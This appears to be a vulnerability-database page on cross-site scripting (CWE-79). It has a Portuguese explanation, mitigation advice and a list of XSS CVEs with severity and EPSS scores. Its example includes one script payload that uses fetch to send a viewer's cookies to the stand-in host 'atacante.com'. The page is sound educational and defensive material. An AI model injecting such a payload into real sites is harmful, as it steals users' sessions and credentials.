Fallos del tipo CWE-79

28.519 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2022-1439MEDIUMReflected XSS on demo.microweber.org/demo/module/ in microweber/microweberEPSS 3.3%CVE-2021-24308—LifterLMS < 4.21.1 - Authenticated Stored XSS in Edit ProfileEPSS 3.2%CVE-2022-0683MEDIUMEssential Addons for Elementor Lite <= 5.0.8 Reflected Cross-Site ScriptingEPSS 3.2%CVE-2020-16210—The affected product is vulnerable to reflected cross-site scripting, which may allow an attacker to remotely execute arbitrary code and perEPSS 3.2%CVE-2020-16206—The affected product is vulnerable to stored cross-site scripting, which may allow an attacker to remotely execute arbitrary code to gain acEPSS 3.2%CVE-2022-0954MEDIUMMultiple Stored Cross-site Scripting (XSS) Vulnerabilities in Shop's Other Settings, Shop's Autorespond E-mail Settings and Shops' Payments Methods in microweber/microweberEPSS 3.2%CVE-2021-35229MEDIUMCross-Site Scripting Vulnerability using SQL QueryEPSS 3.2%CVE-2021-29460HIGHCross-site scripting (XSS) from unsanitized uploaded SVG filesEPSS 3.2%CVE-2021-3693HIGHCross-site Scripting (XSS) - DOM in ledgersmb/ledgersmbEPSS 3.2%CVE-2021-37216MEDIUMQSAN Storage Manager - Reflected Cross-Site ScriptingEPSS 3.2%CVE-2022-2130MEDIUMCross-site Scripting (XSS) - Reflected in microweber/microweberEPSS 3.1%CVE-2021-24884—Formidable Form Builder < 4.09.05 - Unauthenticated Stored Cross-Site ScriptingEPSS 3.1%CVE-2022-0225—A flaw was found in Keycloak. This flaw allows a privileged attacker to use the malicious payload as the group name while creating a new groEPSS 3.1%CVE-2021-32853MEDIUMErxes vulnerable to Cross-site ScriptingEPSS 3.1%CVE-2022-41358MEDIUMA stored cross-site scripting (XSS) vulnerability in Garage Management System v1.0 allows attackers to execute arbitrary web scripts or HTMLEPSS 3.1%CVE-2019-15253MEDIUMCisco Digital Network Architecture Center Stored Cross-Site Scripting VulnerabilityEPSS 3.1%CVE-2023-4117MEDIUMPHP Jabbers Rental Property Booking index.php cross site scriptingEPSS 3.1%CVE-2022-28712CRITICALA cross-site scripting (xss) vulnerability exists in the videoAddNew functionality of WWBN AVideo 11.6 and dev master commit 3f7c0364. A speEPSS 3.1%CVE-2022-1153—LayerSlider < 7.1.2 - Admin+ Stored Cross-Site ScriptingEPSS 3.1%CVE-2023-23956MEDIUMA user can supply malicious HTML and JavaScript code that will be executed in the client browserEPSS 3.1%